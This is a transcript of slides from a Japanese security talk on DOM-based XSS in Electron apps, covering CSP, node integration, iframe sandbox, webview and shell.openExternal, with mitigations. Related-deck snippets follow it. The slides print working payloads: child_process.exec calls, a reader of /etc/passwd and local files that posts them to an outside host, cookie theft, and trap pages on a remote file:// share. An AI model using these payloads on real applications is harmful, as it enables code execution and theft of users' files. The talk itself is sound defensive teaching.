Yosuke Secure Sky Technology Inc. Technical Advisor OWASP Kansai Chapter Leader OWASP Japan Chapter board member CODE BLUE Re
|
|
|
- ゆりな かくはり
- 7 years ago
- Views:
Transcription
1 ELECTRON Build cross platform desktop XSS It s easier than you think Secure Sky Technology Inc. Yosuke HASEGAWA
2 Yosuke Secure Sky Technology Inc. Technical Advisor OWASP Kansai Chapter Leader OWASP Japan Chapter board member CODE BLUE Review board member http//utf-8.jp/ Author of jjencode, aaencode Talked at Black Hat Japan 2008, KOREA POC 2008, POC 2010, OWASP AppSec APAC 2014 and others. Found many vulns of IE, Firefox and others.
3 What's Electron? GitHub 社によって開発された クロスプラットフォームなデスクトップアプリケーションを開発するためのフレームワーク HTML+JavaScript でアプリケーションを作成できる 多くのアプリケーションで使用実績
4 What's Electron? HTML + JavaScript = Native Apps Microsoft HTML Application (*.hta) Firefox OS Apache Cordova / Adobe PhoneGap Chrome Apps Electron / NW.js Electron Cross platform バイナリのビルドが可能
5 What's Electron? Node.js と Chromium をランタイムとして内包 メインプロセス アプリケーション全体を統括 node.js そのもの レンダラプロセス Chromium+node.js Electron Apps main process IPC renderer process
6 What's Electron? { } Electron Apps "name" : "Apps name", "version" : "0.1", "main" : "main.js" index.html <html> <head>...</head> <body> <script>...</script> </body> </html> {json} main process IPC renderer process package.json let win = new BrowserWindow( {width:840,height:700} ); win.loadurl( `file://${ dirname}/index.html` ); main.js
7 What's Electron? レンダラではブラウザ内で node.js が動く node 機能は無効にもできる デフォルト有効 <html> <script> const fs = require( "fs" ); function foo(){ fs.readfile( "./test.txt", { encoding: "utf-8" }, (err, data) => { document.getelementbyid("main").textcontent = data; } ); } </script> <div id="main"> </div> </html>
8 Electron アプリのセキュリティ対策
9 Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
10 Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
11 Web アプリとしてのセキュリティ対策 レンダラプロセス : Chromium + node.js DOM 操作が多くなりがち DOM-based XSS が発生しやすい JavaScript によるオープンリダイレクタ 従来の Web アプリ同様のフロントエンドのセキュリティ対策が必要
12 Web アプリとしてのセキュリティ対策 DOM-based XSS が発生しやすい DOM 操作が多い そもそも DOM-based XSS は見つけにくい fs.readfile( filename, (err,data) => { if(!err) element.innerhtml = data; //XSS! }); fs.readdir( dirname, (err,files) => { files.foreach( (filename) => { let elm = document.createelement( "div" ); elm.innerhtml = `<a href='${filename}'>${filename}</a>`; //XSS! paerntelm.appendchild( elm ); }); });
13 Web アプリとしてのセキュリティ対策 DOM-based XSS が発生すると致命的な被害 攻撃者のインジェクトしたコード内でも node 機能が利用可能な場合が多い XSS = alert だけではない ローカルファイルの読み書き 任意プロトコルでの通信 他アプリへの干渉 任意プロセスの生成 つまり DOM-based XSS をきっかけに任意のコード実行が可能となる
14 Web アプリとしてのセキュリティ対策 従来の Web アプリ ニセ情報の表示 Cookie の漏えい Web サイト内の情報の漏えい 該当 Web サイト内 で JS ができること全て 該当 Web サイトを超えては何もできない ブラウザに守られている サンドボックス 脆弱性があっても自身の Web サイト以外への影響はない サイト運営者が責任を持てる範囲でしか被害が発生しない
15 Web アプリとしてのセキュリティ対策 Electron における XSS アプリを使っているユーザーの権限での任意コードの実行 PC 内でそのユーザーができること全て 既存アプリケーションの破壊 オンラインバンキング用アプリの改ざん 盗聴 マルウェア感染 配信 該当アプリケーションの範囲を超えて何でもできる 開発者の責任の重みがまったく変わってくる
16 Web アプリとしてのセキュリティ対策 Electron アプリに対する攻撃に対して Web サイト改ざんの JavaScript 難読化されていても最終的には DOM 操作 <iframe> や <script> の挿入を探す Electron に対する攻撃用 JavaScript どのような処理でも可能性として存在 挙動を詳細に調査する必要がある 解析する側の技術も未成熟
17 Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
18 ローカルアプリとしてのセキュリティ対策 ローカルアプリのセキュリティ対策も必要 symlink 攻撃 レースコンディション 暗号の不適切な利用 過大なアクセス権限 機密情報が 644 など ファイル名の別名表記 8.3 形式 ADS(file.txt::$DATA) など その他諸々 Web アプリとは異なる知識背景 プラットフォーム固有の知識も必要
19 Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
20 Electron 固有のセキュリティ対策 個々の API を使う上での注意点 <webview> tag shell.openexternal Electron のアーキテクチャ上の問題点 BrowserWindow は通常 "file://" をロードする ブラウザと異なりアドレスバーが存在しない
21 Deep dive into DbXSS of Electron
22 DOM-based XSS ソースをエスケープせずにシンクに与えることで JS 上で発生する XSS ソース : 攻撃者の与えた文字列 シンク : 文字列から HTML を生成したりコードとして実行する箇所 location.hash location.href location.search postmessage xhr.responsetext document.referrer window.name ソース処理シンク document.write eval location.href Function setinterval settimeout innerhtml
23 DOM-based XSS 従来の XSS での被害 alert の表示 elm.innerhtml = "<img src=# onerror=alert('xss!')>"; Web アプリ内に偽情報を表示 elm.innerhtml = "<form> ログイン :<input type='password'>"; Cookie の奪取 elm.innerhtml = "<img src=# onerror= "new Image().src=' ">"; Web アプリ内の機密情報の奪取 elm.innerhtml = "<img src=# onerror= "new Image().src=' ">"; 他には?
24 DOM-based XSS on Electron apps レンダラ上で node 機能がデフォルト有効 // xss_source は攻撃者がコントロール可能な文字列 elm.innerhtml = xss_source; // XSS! <img src=# onerror= "require('child_process').exec('calc.exe',null);"> <img src=# onerror=" let s = require('fs').readfilesync('/etc/passwd','utf-8'); fetch( ' { method:'post', body:s }); ">
25 DOM-based XSS on Electron apps 任意コード実行が可能 - まるでバッファオーバーフロー XSS: The New Buffer Overflow In many respects, an XSS vulnerability is just as dangerous as a buffer overflow. 多くの点から見て XSS 脆弱性の危険性はバッファオーバーフローに匹敵します "Security Briefs: SDL Embraces The Web", Apr n-us/magazine/cc aspx
26 DOM-based XSS on Electron apps ソースをエスケープせずにシンクに与えることで JS 上で発生する XSS ソース : 攻撃者の与えた文字列 シンク : 文字列から HTML を生成したりコードとして実行する箇所 location.hash location.href location.search postmessage xhr.responsetext document.referrer window.name ソース処理シンク document.write eval location.href Function setinterval settimeout innerhtml
27 DOM-based XSS on Electron apps ソースをエスケープせずにシンクに与えることで JS 上で発生する XSS ソース : 攻撃者の与えた文字列 シンク : 文字列から HTML を生成したりコードとして実行する箇所 location.hash location.href location.search postmessage ファイルの内容 xhr.responsetext document.referrer window.name ソース処理シンク document.write eval location.href Function setinterval settimeout innerhtml ユーザ名ファイル名ログの内容データベースコンピュータ名 require webview webframe.executejavascript
28 DOM-based XSS on Electron apps 従来の Web アプリでは存在しなかったソース HTTP や Web と無関係なあらゆるデータが XSS ソースとなり得る シンクはそれほど増えていない require などに動的な引数を与えることは通常ない ソースを意識するのではなく シンクへ渡す際にエスケープすることが重要 適切な DOM 操作 (textcontent setattribute 等 )
29 Content Security Policy
30 Content Security Policy XSS 対策としてレンダラに CSP を適用することは効果があるのか <head> renderer <meta http-equiv="content-security-policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> //index.js elm.innerhtml = xss_source; // XSS!
31 Content Security Policy <head> renderer <meta http-equiv="content-security-policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> //index.js elm.innerhtml = xss_source; // XSS! meta refresh は CSP によって制限されない xss_source = '<meta http-equiv="refresh" content="0; レンダラで開かれる レンダラ内では node 機能が利用可能 <script> require('child_process').exec('calc.exe',null); </script>
32 Content Security Policy Another pattern <head> renderer <meta http-equiv="content-security-policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> //index.js iframe.setattribute("src", xss_source); // XSS?
33 Content Security Policy Another pattern <head> renderer <meta http-equiv="content-security-policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> //index.js iframe.setattribute("src", xss_source); // XSS! origin === 'file://' app.on('ready', () => { win = new BrowserWindow({width:600, height:400} ); win.loadurl(`file://${ dirname}/index.html`);... main.js
34 Content Security Policy <head> renderer <meta http-equiv="content-security-policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> //index.js iframe.setattribute("src", xss_source); // XSS! origin が "file://" なので攻撃者のファイルサーバも同じオリジン xss_source = 'file://remote-server/share/trap.html'; top level window では node 機能が使える window.top.location=`data:text/html, file://remote-server/share/trap.html <script>require('child_process').exec('calc.exe',null);< /script>`;
35 Content Security Policy CSP によってリソースの読み込みを制限しても meta refresh によってページ遷移が可能 レンダラ内を攻撃者の用意した罠ページに遷移 攻撃者の用意した罠ページではもちろん CSP は効かない "file://" なので攻撃者のリソースも同一オリジンになる iframe や script ソースを埋め込みやすい レンダラ内では node 機能が使える 結論 :CSP では XSS の脅威を軽減できない
36 レンダラでの node の無効化
37 レンダラでの node の無効化 レンダラの node を無効にすれば脅威は低減 app.on('ready', () => { main.js win = new BrowserWindow( { webpreferences:{nodeintegration:false} }); win.loadurl(`file://${ dirname}/index.html`);... BrowserWindow 生成時に明示的に無効を指定する必要がある デフォルト有効
38 レンダラでの node の無効化 レンダラではデフォルトで node 機能が有効になっている 明示的に node を無効にしなければ有効のまま レンダラで node を無効にすると Electron アプリとして実用的なことが出来なくなる それでも node 無効化は効果があるのか?
39 レンダラでの node の無効化 node 無効の JS でどこまでの攻撃が可能か app.on('ready', () => { win = new BrowserWindow( { webpreferences:{nodeintegration:false} }); win.loadurl(`file://${ dirname}/index.html`);... そもそもオリジンが file:// になっている XHR 等でローカルファイルの読み取りが可能 var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://c:/file.txt", true ); xhr.onload = () => { fetch( " { method:"post",body:xhr.responsetext } ); }; xhr.send( null );
40 レンダラでの node の無効化 明示的に指定することで node を無効化できる node を無効化にするとアプリとして実用的なことは出来なくなる node を無効にしてもローカルファイルの読み取りは可能
41 iframe sandbox
42 iframe sandbox アプリケーションとして DOM 操作する対象を <iframe sandbox> 内のみに限定する iframe を外から操作 <iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe>... document.queryselector("#sb").contentdocument.queryselector("#msg").innerhtml = "Hello, XSS!<script>alert(1)< /script>"; // not work iframe 内で DbXSS が発生しても被害を抑えられる
43 DbXSS の緩和 - <iframe sandbox> <iframe sandbox[="params"]> 代表的なもの allow-forms allow-scripts allow-same-origin allow-top-navigation allow-popups - フォームの実行を許可 - スクリプトの実行を許可 - 同一オリジン扱いを許可 - topへの干渉を許可 - ポップアップを許可 allow-scripts を指定するのは危険 iframe 内で普通に JS が動く allow-top-navigation allow-popups も危険
44 <iframe sandbox="allow-popups"> <iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe>... var xss = `<a target="_blank" href="data:text/html,<script>require('child_process').exec('calc.exe',null);< /script>">click</a>`; document.queryselector("#sb").contentdocument.queryselector("#msg").innerhtml = xss; popup によって生成された BrowserWindow では node 機能が有効な状態で JavaScript が動く Click (iframe) data:text/html, <script>require(...) 0 CE C ± / % * 1/x =
45 <webview> tag
46 <webview> tag 他のサイトをレンダラ内に埋め込む iframe と異なり webview 内から外側は完全に見え ない (window.top など ) <webview src=" 外からも簡単にはDOM 操作できない (iframe.contentwindowのようなものはない) webviewごとにnode 機能の有無を指定可能 <webview src=" nodeintegration></webview> allowpopups 属性により新しいウィンドウの生成を許可 <webview src=" allowpopups></webview>
47 <webview> tag window.open() <a target=_blank> などで新しく開かれたウィンドウ iframe と webview では node の有効 無効は異なる レンダラ (node 有効 ) <iframe> node は常に無効 レンダラ (node 有効 ) <webview allow-popups> node 無効 レンダラ (node 有効 ) <webview allow-popups nodeintegration> node 有効 新しいレンダラ (node 有効 ) 新しいレンダラ (node 無効 ) 新しいレンダラ (node 有効 )
48 <webview> tag node は無効にし preload 機能を使うほうが安全 <webview src=" preload="./prealod.js"> </webview> preload script 内では node 無効の webview 内であっても node 機能が利用可能 //preload.js window.loadconfig = function(){ let file = `${ dirname}/config.json`; let s = require("fs").readfilesync( file, "utf-8" ); return JSON.eval( s ); };
49 <webview> tag よくあるケース 既存の Web アプリのネイティブアプリ化 <webview> 内に既存の Web アプリを埋め込み <body> <webview src=" <script src="native-apps.js"></script> </body> Code Blue SNS Ads
50 <webview> tag よくあるケース 既存の Web アプリのネイティブアプリ化 <webview> 内に既存の Web アプリを埋め込み <body> <webview src=" <script src="native-apps.js"></script> </body> webview Code Blue SNS Ads
51 <webview> tag よくあるケース 既存の Web アプリのネイティブアプリ化 <webview> 内に既存の Web アプリを埋め込み <body> <webview src=" <script src="native-apps.js"></script> </body> webview Code Blue SNS webview 内に 3rd party の広告が入る Ads
52 <webview> tag webview 内に 3rd party の広告が入る場合 広告 JS も webview 内で自由にコード実行 webview で node が有効な場合は広告 JS も node 機能も使える node が無効な場合でも window.top 経由で全画面書き換え 偽ログイン画面の表示などはできる 悪意ある広告 配信サーバの汚染など // load fake login page window.top = " Code Blue SNS User: Pass:
53 <webview> tag 対策 : 広告は iframe sandbox 内に表示 top への干渉を防ぐ JS 埋め込み型の広告だと対策できない Web アプリ オリジンを超えて広告が Web アプリへ影響を与えることはない ユーザーはアドレスバーで正規サイトか確認できる Electron アプリ iframe 内の広告でも node 機能が有効なら悪意あるコードが実行可能 アドレスバーがないので正規サイトかの確認ができない
54 window.open from <webview> allowpopups 属性 window.open で popup が可能になる <webview src=" allowpopups></webview> window.open では "file:" スキームも指定可能 // window.open("file://remote-server/share/trap.html"); 攻撃者はファイルサーバを経由することで "file://" オリジンのスクリプトを動作させ ローカルファイルを読み取ることが可能 // file://remote-server/share/trap.html var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://c:/secret.txt", true );
55 window.open from <webview> 対策 allowpopups 属性をつけない または main.js 側で URL を検査 // main.js app.on('browser-window-created', (evt, window) => { window.webcontents.on('new-window', (evt,url) => { let protocol = require('url').parse(url).protocol; if (!protocol.match( /^https?:/ )) { evt.defaultprevented = true; console.log( "invalid url", url ); } }); });
56 shell.openexternal shell.openitem
57 shell.openexternal, shell.openitem URL や拡張子に対応した外部プログラムを起動 const {shell} = require( 'electron' ); const url = ' shell.openexternal( url ); // OS 標準のブラウザが起動 shell.openitem( url ); let file = 'C:/Users/hasegawa/test.txt'; shell.openexternal( file ); // OS 標準の方法でファイルを開く shell.openitem( file ); let filename = 'file://c:/users/hasegawa/test.txt'; shell.openexternal( file ); // OS 標準の方法でファイルを開く shell.openitem( file );
58 shell.openexternal, shell.openitem よくあるケース webview からの window.open などを OS 標準のブラウザで開く webview.on( 'new-window', (e) => { shell.openexternal( e.url ); // OS 標準のブラウザで開く }); 攻撃者が URL を細工できる場合 任意のコマンドを起動可能 <a href="file://c:/windows/system32/calc.exe">click</a> コマンドに引数は渡せない
59 shell.openexternal, shell.openitem shell.openexternal shell.openitem には任意の URL が渡らないよう確認が必要 if (url.match( /^https?: / // )) { shell.openexternal( url ); // ブラウザで開く }
60 Conclusion
61 Conclusion domxss().then( die ); // ACE nodeが有効なコンテキストで外部のスクリプトが動かないよう細心の注意が必要 file: スキームで外部のスクリプトが動かないよう細心の注意が必要 攻撃者は罠ファイルサーバを利用可能
62 nishimunea
自己紹介 長谷川陽介 ( はせがわようすけ ( 株 ) セキュアスカイ テクノロジー常勤技術顧問 セキュリティキャンプ講師 (2008 年 ~) OWASP Kansai チャプターリーダー OWASP Japan ボードメンバー CODE BLUE カンファレ
PHP デベロッパーのための JavaScript セキュリティ入門 ( 株 ) セキュアスカイ テクノロジー 常勤技術顧問 長谷川陽介 PHP カンファレンス福岡 2016 自己紹介 長谷川陽介 ( はせがわようすけ / @hasegawayosuke) ( 株 ) セキュアスカイ テクノロジー常勤技術顧問 セキュリティキャンプ講師 (2008 年 ~) OWASP Kansai チャプターリーダー
自己紹介 はせがわようすけ ネットエージェント株式会社 株式会社セキュアスカイ テクノロジー技術顧問 OWASP Kansai Chapter Leader OWASP Japan Chapter Advisory Board member
HTML5 のセキュリティ もうちょい詳しく HTML5 セキュリティその 3 : JavaScript API Jun 6 2014 Yosuke HASEGAWA 自己紹介 はせがわようすけ ネットエージェント株式会社 株式会社セキュアスカイ テクノロジー技術顧問 http://utf-8.jp/ OWASP Kansai Chapter Leader OWASP Japan Chapter Advisory
自己紹介 はせがわようすけ ネットエージェント株式会社 株式会社セキュアスカイ テクノロジー技術顧問 OWASP Kansai Chapter Leader OWASP Japan Chapter Advisory Board member
HTML5 and Security Part 4 : DOM based XSS HTML5 セキュリティその 4 : DOM based XSS 編 Sep 8 2014 Yosuke HASEGAWA 自己紹介 はせがわようすけ ネットエージェント株式会社 株式会社セキュアスカイ テクノロジー技術顧問 http://utf-8.jp/ OWASP Kansai Chapter Leader OWASP
自己紹介 はせがわようすけ ネットエージェント株式会社 株式会社セキュアスカイ テクノロジー技術顧問 Microsoft MVP for Consumer Security Oct
Bypass SOP in a time of HTML5 Jan 29 2014 Yosuke HASEGAWA 自己紹介 はせがわようすけ ネットエージェント株式会社 株式会社セキュアスカイ テクノロジー技術顧問 Microsoft MVP for Consumer Security Oct 2005 - http://utf-8.jp/ お知らせ HTML5 調査報告 from JPCERT/CC
WEBシステムのセキュリティ技術
WEB システムの セキュリティ技術 棚橋沙弥香 目次 今回は 開発者が気をつけるべきセキュリティ対策として 以下の内容について まとめました SQLインジェクション クロスサイトスクリプティング OSコマンドインジェクション ディレクトリ トラバーサル HTTPヘッダ インジェクション メールヘッダ インジェクション SQL インジェクションとは 1 データベースと連動した Web サイトで データベースへの問い合わせや操作を行うプログラムにパラメータとして
自己紹介 XSS のほうから来ました author of jjencode, aaencode
ぼくたちの愛した IE8 はせがわようすけ @hasegawayosuke 自己紹介 はせがわようすけ @hasegawayosuke XSS のほうから来ました http://utf-8.jp/ author of jjencode, aaencode さよなら Internet Explorer 8 Internet Explorer 8 タイムライン 2005-06 年 Ajax Web 2.0
自己紹介 はせがわようすけ OWASP Kansai チャプターリーダー OWASP Japan アドバイザリボードメンバー 株式会社セキュアスカイ テクノロジー常勤技術顧問 CODE BLUE Security Conference Review board member セキュリティキャンプ講師
タイトル未定 - #ssmpjp ( ハセガワナイト ) - はせがわようすけ 自己紹介 はせがわようすけ OWASP Kansai チャプターリーダー OWASP Japan アドバイザリボードメンバー 株式会社セキュアスカイ テクノロジー常勤技術顧問 CODE BLUE Security Conference Review board member セキュリティキャンプ講師 (Web クラス /
SmartBrowser_document_build30_update.pptx
SmartBrowser Update for ios / Version 1.3.1 build30 2017 年 8 月 株式会社ブルーテック 更新内容 - 概要 ios Version 1.3.1 build28 の更新内容について 1. 設定をQRから読み込み更新する機能 2.URLをQRから読み込み画面遷移する機能 3.WEBページのローカルファイル保存と外部インテントからの起動 4.JQuery-LoadImageライブラリの組み込み
コンテンツメディアプログラミング実習2
CMP 実習 2 JavaScript + 地図を使ってみよう 中村, 宮下, 斉藤, 菊池 1 必要な知識 JavaScript の基本 HTMLのどの部品なのかを指定する方法 その部品にイベントを埋め込む方法 それを JavaScript で記述する方法 2 要素をどうやって取得する? DOM とは Document Object Model HTML や XML の各要素についてアプリケーションから利用するための
第7回 Javascript入門
Slide URL https://vu5.sfc.keio.ac.jp/slide/ Web 情報システム構成法第 9 回 JavaScript 入門 (2) 萩野達也 ([email protected]) 1 JavaScript 入門 ( 前回 ) オブジェクト指向について JavaScriptの誕生プロトタイプベースのオブジェクト指向 言語 構文および制御構造 代入条件文繰り返し関数
WebOS aplat WebOS WebOS 3 XML Yahoo!Pipes Popfry UNIX grep awk XML GUI WebOS GUI GUI 4 CUI
7 XML Week Web WebOS WebShell WebOS WebOS GUI WebOS WebOS 2 WebOS aplat WebOS WebOS 3 XML Yahoo!Pipes Popfry UNIX grep awk XML GUI WebOS GUI GUI 4 CUI CUI JavaScript I/O CommandClass WebShell webshell
第 8 回の内容 クライアントサイド処理 JavaScript の基礎
第 8 回の内容 クライアントサイド処理 JavaScript の基礎 クライアントサイド処理 クライアントサイド / サーバサイド クライアントサイド サーバサイド Web ブラウザ Web サーバ 動的な Web ページ Web ブラウザ Web サーバ Web ブラウザ Web サーバ リソース生成 描画 描画 リソース生成 再描画 描画 再描画 描画 リソース生成 再描画 動的な Web ページとページ遷移
PowerPoint プレゼンテーション
情報システム基礎演習 B 2016/01/28 (Thurs.) テーマ 4 JavaScript による電卓 Web アプリを作成しましょう 健山智子 ([email protected]) 広島工業大学情報学部知的情報システム学科知的情報可視化戦略研究室 (ival) 講義のアウトライン 2 1. グループの決定 : 1. 5 人での 6 グループ ( ランダム
1. 信頼済みサイトの設定 (1/3) この設定をしないとレイアウト ( 公報 ) ダウンロードなどの一部の機能が使えませんので 必ず設定してください 1 Internet Explorer を起動し [ ツール ]-[ インターネットオプション (O)] を選択します 2 [ セキュリティ ] の
Internet Explorer の初期設定 信頼済みサイト の設定や ポップアップブロック の設定を確認する必要があります 以下の手順で設定してください 1. 信頼済みサイトの設定 2. タブブラウズの設定 3. セキュリティ設定の変更 4. ポップアップブロックの設定 5. 推奨する文字サイズの設定 6. 規定のブラウザに設定 7. 互換表示の無効の設定 8. ランキングやハイライトの印刷設定
McAfee Application Control ご紹介
SHieldWARE ファイル改ざん検知 / 防御機能 株式会社富士通ソーシアルサイエンスラボラトリ ファイル変更監視概要 指定したファイル / ディレクトリへの編集操作をリアルタイムで検知 サーバ 不正ユーザー Web コンテンツディレクトリ ログファイルディレクトリ ファイル読込 ファイル書込 事前定義したファイルへの書込を検知しログ出力 事前定義したファイルへの書込を検知しログ出力 改ざん 改ざん
安全な Web サイトの作り方 7 版 と Android アプリの脆弱性対策 独立行政法人情報処理推進機構 (IPA) 技術本部セキュリティセンター Copyright 2015 独立行政法人情報処理推進機構
安全な Web サイトの作り方 7 版 と Android アプリの脆弱性対策 独立行政法人情報処理推進機構 (IPA) 技術本部セキュリティセンター Android アプリの脆弱性体験学習ツール AnCoLe( アンコール ) の紹介 ~ AnCoLe で攻撃 対策の体験を ~ Android アプリに関する届出状況 毎年 Android アプリの脆弱性の届出が報告 件数 300 250 200
PALNETSC0184_操作編(1-基本)
1 章ご使用前に この章について この章では 特許情報提供サービス Shareresearch をご利用になる前の動作環境と各種 設定について説明します この章の内容を以下に示します 1.1 使用する際の環境について 1.2 WWW ブラウザのセキュリティ設定 1.3 Excel のセキュリティ設定 1.4 フォルダオプションの設定 1 1.1 使用する際の環境について Shareresearch
2.2 Reflected XSS 攻撃攻撃者の用意した悪意のあるリンクとターゲットサーバが同じホストである場合の Reflected XSS 攻撃を, 本稿では Reflected XSS 攻撃と呼ぶ. 例えば, サーバ A の target.php に Reflected XSS 脆弱性があった
Busting Frame Busting 機能を備えた Click Jacking 攻撃と same-origin reflected XSS 攻撃 マルチメディア, 分散, 協調とモバイル (DICOMO2016) シンポジウム 平成 28 年 7 月 田邉杏奈 1 寺本健悟 2 齊藤泰一 1 概要 : Web アプリケーション上における攻撃手法の一つとして Click Jacking 攻撃がある.Click
第7回 Javascript入門
Slide URL https://vu5.sfc.keio.ac.jp/slide/ Web 情報システム構成法第 9 回 JavaScript 入門 (2) 萩野達也 ([email protected]) 1 JavaScript 入門 ( 前回 ) オブジェクト指向について JavaScriptの誕生プロトタイプベースのオブジェクト指向 言語 構文および制御構造 代入条件文繰り返し関数
Microsoft Word - Webシステム/Webアプリケーション セキュリティ要件書 docx
Web システム /Web アプリケーションセキュリティ要件書 OWASP Edition November 1, 2013 Copyright 2002- The Open Web Application Security Project (OWASP). All Rights Reserved. Permission is granted to copy, distribute, and/or
SQL インジェクションの脆弱性
別紙 脆弱性体験学習ツール AppGoat ハンズオンセミナー 演習解説 SQL インジェクションの脆弱性 [ 演習 ] AppGoat を用いた疑似攻撃体験 SQL インジェクションのテーマ 不正なログイン ( 文字列リテラル ) 画面上に Congratulations!! と表示されると演習クリアです 3 脆弱性のある箇所を特定する ログイン ID またはパスワードにシングルクォート ' を入力し
はじめに ウイルスに感染させるための罠が仕掛けられた悪意のある文書ファイルは これまでにも Office の脆弱性の悪用や マクロ機能を悪用する手口のものがありました 昨今 それらとは異なる新たな攻撃手口を使ったものが出てきています 本資料は 新たな攻撃手口について紹介し 注意点を説明するものです
参考資料 文書ファイルの新たな 悪用手口に関する注意点 2017 年 7 月 27 日 Copyright 2017 独立行政法人情報処理推進機構 1 はじめに ウイルスに感染させるための罠が仕掛けられた悪意のある文書ファイルは これまでにも Office の脆弱性の悪用や マクロ機能を悪用する手口のものがありました 昨今 それらとは異なる新たな攻撃手口を使ったものが出てきています 本資料は 新たな攻撃手口について紹介し
PowerPoint プレゼンテーション
環境設定 (IE11 Edge)(Edge は 国内 + 国外版 国内外 + 翻訳版 のみ ) SRPARTNER では印刷 ダウンロードなどに ActiveX アドオンを使用しており ログイン時にインストールメッセージが表示されます ご使用端末に初期設定いただく必要がございます 以下記載の設定を実施し 設定変更を行ってください 1. 保護モードの解除 1[ コントロールパネル ]-[ インタ -
e10s におけるプロセス間通信の基本 219 HACK #34 Components.manager.removeBootstrappedManifestLocati on() function shutdown(adata, areason) { const IOService =
e10s におけるプロセス間通信の基本 219 Components.manager.removeBootstrappedManifestLocati on() function shutdown(adata, areason) { const IOService = Cc["@mozilla.org/network/io-service;1"].getService(Ci.nsIIOService);
目次 1. 概要 2. サーバーへの設置 3. 設定 4. ユーザーアクセス記録の収集 5. 利用規定 6. 更新履歴
BASIC 認証管理 L-TOOL BasicAuth (ver 3.1) 取扱説明書 Little Net http://l-tool.net/ - 2016 年 9 月 20 日版 - 目次 1. 概要 2. サーバーへの設置 3. 設定 4. ユーザーアクセス記録の収集 5. 利用規定 6. 更新履歴 1. 概要 この WEB ツールは このツールを設置したフォルダーのベーシック認証を管理する
マルウェアレポート 2018年3月度版
インターネットバンキングの認証情報窃取を狙ったマルウェアを多く検出 ショートレポート 1. 3 月の概況について 2. バンキングマルウェア Ursnif 感染を狙った添付メール攻撃 3. 偽のシステム警告を表示する詐欺サイト 1. 3 月の概況について 2018 年 3 月 1 日から 3 月 31 日までの間 ESET 製品が国内で検出したマルウェアの種類別の割合は 以 下のとおりです 国内マルウェア検出数の比率
untitled
Ajax Web Ajax http://www.openspc2.org/javascript/ajax/ajax_stu dy/index.html Life is beautiful Ajax http://satoshi.blogs.com/life/2005/06/ajax.html Ajax Ajax Asynchronous JavaScript + XML JavaScript XML
マルウェアレポート 2018年1月度版
マイニングマルウェア JS/CoinMiner の爆発的流行 ショートレポート 2018 年 1 月マルウェア検出状況 1. 1 月の概況について 2. マイニングマルウェア JS/CoinMiner の爆発的流行 3. 脆弱性を悪用した攻撃の種類が増加 1. 1 月の概況について 2018 年 1 月 1 日から 1 月 31 日までの間 ESET 製品が国内で検出したマルウェアの種類別の割合は
株式会社 御中 Sample_SHIFT_Service 脆弱性診断報告書 報告書提出日 :20XX 年 月 日 サンプル 本報告書について本報告書は以下の脆弱性診断について その結果を報告します 診断期間 20XX 年 月 日 ~ 20XX 年 月 日 診断実施場所 - SHIFT SECURITY ( 東京都神谷町 ) IP: xxx.yyy.zzz.www 診断種別 Web アプリケーション診断
JavaScript 演習 2 1
JavaScript 演習 2 1 本日の内容 演習問題 1の解答例 前回の続き document.getelementbyid 関数 演習問題 4 イベント処理 基本的なフォーム テキストボックスの入力値の取得 演習問題 5 演習問題 1 prompt メソッドと document.write メソッドを用いて, ユーザから入力されたテキストと文字の色に応じて, 表示内容を変化させる JavaScript
untitled
JavaScript HP JavaScript JavaScript Web JavaScript Web JavaScript JavaScript JavaScript HTML HTML HTML JavaScript 1. JavaScript ON/OFF 2. JavaScript 3. 4. 5. 6. 7. 8. 9. 10. if 11. if 12. switch 13. 14.
2.3 1 RIG Exploit Kit (4) 4 Exploit Kit 2.2 RIG Exploit Kit RIG Exploit Kit 1 5 (1) Web Web (2) RIG Exploit Kit URL (3) URL iframe RIG Exploit Kit (4)
StarC Drive-by Download 1 2017 4 Web Web Drive-by Download [1] Driveby Download Web Web Web Drive-by Download Exploit Kit Exploit Kit Web Exploit Kit Drive-by Download Exploit Kit RIG Exploit Kit [2][3][4]
5-5_arai_JPNICSecSemi_XssCsrf_CM_ PDF
XSS + CSRF JPNIC JPCERT/CC 2005 Web 2005 10 6 IS Copyright 2005 SECOM Co., Ltd. All rights reserved. 1 XSS + CSRF Web Web Web (Web, DB, ) Copyright 2005 SECOM Co., Ltd. All rights reserved. 2 SQL XSS Copyright
マルウェアレポート 2017年9月度版
マイニングマルウェアに流行の兆し ショートレポート 1. 9 月の概況について 2. CCleaner の改ざん被害 3. マイニングマルウェアの流行 1. 2017 年 9 月の概況 2017 年 9 月 1 日から 9 月 30 日までの間 ESET 製品が国内で検出したマルウェアの比率は 以下のとおり です 国内マルウェア検出数 (2017 年 9 月 ) 1 9 月は VBS(VBScript)
Visual Studio with Cordova クロスプラットフォーム開発の全貌
